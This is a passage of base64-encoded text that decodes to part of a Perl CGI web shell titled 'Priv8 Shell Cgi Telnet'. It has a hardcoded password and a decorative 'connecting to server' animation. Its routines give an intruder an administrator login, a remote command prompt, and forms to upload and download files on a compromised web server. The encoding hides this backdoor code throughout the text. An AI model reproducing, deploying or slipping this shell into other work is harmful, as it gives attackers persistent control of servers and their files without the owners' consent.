J1bm5pbmcgPSB0cnVlOwkvLyBOZXZlciBydW4uCiAgICByZXR1cm47CiAgfQogIHRoaXMuZWxlbWVudCA9IGVsZW1lbnQ7CiAgdGhpcy5maW5pc2hlZENhbGxiYWNrID0gKGZpbmlzaGVkQ2FsbGJhY2sgPyBmaW5pc2hlZENhbGxiYWNrIDogZnVuY3Rpb24oKSB7IHJldHVybjsgfSk7CiAgdGhpcy5pbnRlcnZhbCA9ICh0eXBlb2YgaW50ZXJ2YWwgPT0gInVuZGVmaW5lZCIgPyAxMDAgOiBpbnRlcnZhbCk7CiAgdGhpcy5vcmlnVGV4dCA9IHRoaXMuZWxlbWVudC5pbm5lckhUTUw7CiAgdGhpcy51bnBhcnNlZE9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dDsKICB0aGlzLmN1cnNvciA9IChjdXJzb3IgPyBjdXJzb3IgOiAiIik7CiAgdGhpcy5jdXJyZW50VGV4dCA9ICIiOwogIHRoaXMuY3VycmVudENoYXIgPSAwOwogIHRoaXMuZWxlbWVudC50eXBpbmdUZXh0ID0gdGhpczsKICBpZih0aGlzLmVsZW1lbnQuaWQgPT0gIiIpIHRoaXMuZWxlbWVudC5pZCA9ICJ0eXBpbmd0ZXh0IiArIFR5cGluZ1RleHQuY3VycmVudEluZGV4Kys7CiAgVHlwaW5nVGV4dC5hbGwucHVzaCh0aGlzKTsKICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsKICB0aGlzLmluVGFnID0gZmFsc2U7CiAgdGhpcy50YWdCdWZmZXIgPSAiIjsKICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOwogIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciA9ICIiOwp9ClR5cGluZ1RleHQuYWxsID0gbmV3IEFycmF5KCk7ClR5cGluZ1RleHQuY3VycmVudEluZGV4ID0gMDsKVHlwaW5nVGV4dC5ydW5BbGwgPSBmdW5jdGlvbigpIHsKICBmb3IodmFyIGkgPSAwOyBpIDwgVHlwaW5nVGV4dC5hbGwubGVuZ3RoOyBpKyspIFR5cGluZ1RleHQuYWxsW2ldLnJ1bigpOwp9ClR5cGluZ1RleHQucHJvdG90eXBlLnJ1biA9IGZ1bmN0aW9uKCkgewogIGlmKHRoaXMucnVubmluZykgcmV0dXJuOwogIGlmKHR5cGVvZiB0aGlzLm9yaWdUZXh0ID09ICJ1bmRlZmluZWQiKSB7CiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7CS8vIFdlIGhhdmVuJ3QgZmluaXNoZWQgbG9hZGluZyB5ZXQuICBIYXZlIHBhdGllbmNlLgogICAgcmV0dXJuOwogIH0KICBpZih0aGlzLmN1cnJlbnRUZXh0ID09ICIiKSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gIiI7Ci8vICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dC5yZXBsYWNlKC88KFtePF0pKj4vLCAiIik7ICAgICAvLyBTdHJpcCBIVE1MIGZyb20gdGV4dC4KICBpZih0aGlzLmN1cnJlbnRDaGFyIDwgdGhpcy5vcmlnVGV4dC5sZW5ndGgpIHsKICAgIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI8IiAmJiAhdGhpcy5pblRhZykgewogICAgICB0aGlzLnRhZ0J1ZmZlciA9ICI8IjsKICAgICAgdGhpcy5pblRhZyA9IHRydWU7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI+IiAmJiB0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyICs9ICI+IjsKICAgICAgdGhpcy5pblRhZyA9IGZhbHNlOwogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMudGFnQnVmZmVyOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiJiIgJiYgIXRoaXMuaW5IVE1MRW50aXR5KSB7CiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciA9ICImIjsKICAgICAgdGhpcy5pbkhUTUxFbnRpdHkgPSB0cnVlOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiOyIgJiYgdGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9ICI7IjsKICAgICAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsKICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLkhUTUxFbnRpdHlCdWZmZXI7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMuaW5IVE1MRW50aXR5KSB7CiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgewogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgfQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9IHRoaXMuY3VycmVudFRleHQ7CiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MICs9ICh0aGlzLmN1cnJlbnRDaGFyIDwgdGhpcy5vcmlnVGV4dC5sZW5ndGggLSAxID8gKHR5cGVvZiB0aGlzLmN1cnNvciA9PSAiZnVuY3Rpb24iID8gdGhpcy5jdXJzb3IodGhpcy5jdXJyZW50VGV4dCkgOiB0aGlzLmN1cnNvcikgOiAiIik7CiAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7CiAgfSBlbHNlIHsKCXRoaXMuY3VycmVudFRleHQgPSAiIjsKCXRoaXMuY3VycmVudENoYXIgPSAwOwogICAgICAgIHRoaXMucnVubmluZyA9IGZhbHNlOwogICAgICAgIHRoaXMuZmluaXNoZWRDYWxsYmFjaygpOwogIH0KfQo8L3NjcmlwdD4KPC9wcmU+Cgo8Zm9udCBzdHlsZT0iZm9udDogMTVwdCBWZXJkYW5hOyBjb2xvcjogYmx1ZTsiPlsgUHJpdjggU2hlbGwgQ2dpIFRlbG5ldCBdPC9mb250Pjxicj48Zm9udCBzdHlsZT0iZm9udDogOHB0IFZlcmRhbmE7IGNvbG9yOiBibHVlOyI+UGFzc3dvcmQ6IGhhY2tlcjA4ODIgPC9mb250Pjxicjxicj4KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjYwMCIgaGVpZ2g+Cjx0Ym9keT48dHI+Cjx0ZCB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaHR0cDovL2RsLmRyb3Bib3guY29tL3UvMTA4NjAwNTEvaW1hZ2VzL21hdHJhbi5naWYiPjxwIGlkPSJoYWNrIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDNweDsiPgo8Zm9udCBjb2xvcj0iIzA5NjBmZiI+IFBsZWFzZSBXYWl0IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4KCjxmb250IGNvbG9yPSIjMDk2MGZmIj4gVHJ5aW5nIGNvbm5lY3QgdG8gU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiMwOTYwZmYiPn5cJDwvZm9udD4gQ29ubmVjdGVkICEgPC9mb250Pjxicj4KPGZvbnQgY29sb3I9IiMwOTYwZmYiPjxmb250IGNvbG9yPSIjMDk2MGZmIj4kU2VydmVyTmFtZX48L2ZvbnQ+IENoZWNraW5nIFNlcnZlciAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250PiA8YnI+Cgo8Zm9udCBjb2xvcj0iIzA5NjBmZiI+PGZvbnQgY29sb3I9IiMwOTYwZmYiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gVHJ5aW5nIGNvbm5lY3QgdG8gQ29tbWFuZCAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgoKPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjMDk2MGZmIj4kU2VydmVyTmFtZX48L2ZvbnQ+XCQgQ29ubmVjdGVkIENvbW1hbmQhIDwvZm9udD48YnI+Cjxmb250IGNvbG9yPSIjMDk2MGZmIj48Zm9udCBjb2xvcj0iIzA5NjBmZiI+JFNlcnZlck5hbWV+PGZvbnQgY29sb3I9IiNGMDAwMDAiPlwkPC9mb250PjwvZm9udD4gT0shIFlvdSBjYW4ga2lsbCBpdCE8L2ZvbnQ+CjwvdHI+CjwvdGJvZHk+PC90YWJsZT4KPGJyPgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsKVHlwaW5nVGV4dC5ydW5BbGwoKTsKCjwvc2NyaXB0PgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgSHRtbFNwZWNpYWxDaGFycygkKXsKCW15ICR0ZXh0ID0gc2hpZnQ7CgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsKCSR0ZXh0ID1+IHMvIi8mcXVvdDsvZzsKCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsKCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7CgkkdGV4dCA9fiBzLz4vJmd0Oy9nOwoJcmV0dXJuICR0ZXh0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEFkZExpbmtEaXIoJCkKewoJbXkgJGFjPXNoaWZ0OwoJbXkgQGRpcj0oKTsKCWlmKCRXaW5OVCkKCXsKCQlAZGlyPXNwbGl0KC9cXC8sJEN1cnJlbnREaXIpOwoJfWVsc2UKCXsKCQlAZGlyPXNwbGl0KCIvIiwmdHJpbSgkQ3VycmVudERpcikpOwoJfQoJbXkgJHBhdGg9IiI7CglteSAkcmVzdWx0PSIiOwoJZm9yZWFjaCAoQGRpcikKCXsKCQkkcGF0aCAuPSAkXy4kUGF0aFNlcDsKCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuJHBhdGguIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGJyPkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KClBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRm9ybQp7CglwcmludCA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFnZUZvb3Rlcgp7CglwcmludCAiPC9jb2RlPjwvY2VudGVyPjwvYm9keT48L2h0bWw+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJldHJlaXZlcyB0aGUgdmFsdWVzIG9mIGFsbCBjb29raWVzLiBUaGUgY29va2llcyBjYW4gYmUgYWNjZXNzZXMgdXNpbmcgdGhlCiMgdmFyaWFibGUgJENvb2tpZXN7J30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2FpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCSZQcmludExvZ291dFNjcmVlbjsKCgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7CglleGl0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdAojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0CiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyCiMgdG8gbG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ2luIAp7CglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZAoJewoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7CgkJJlByaW50UGFnZUhlYWRlcjsKCQlwcmludCAmTGlzdERpcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoKCQl9CgkJJlByaW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJZXhpdDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyM2NmZmNjYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI1MCIgbmFtZT0iYyI+CjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQp7CglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IAoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+CiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+Cgo8L2Zvcm0+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0KewoJbXkgJGRpcj0gJkFkZExpbmtEaXIoInVwbG9hZCIpOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+Ck9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+ClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4KCjwvZm9ybT4KCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBDb21tYW5kVGltZW91dAp7CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDApOwoJCXJldHVybiA8PEVORDsKPC90ZXh0YXJlYT4KPGJyPjxmb250IGNvbG9yPXllbGxvdz4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLjwvZm9udD4KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250PgpFTkQKCX0KfQoKCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXIKIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gKIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5LgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQp7Cglsb2N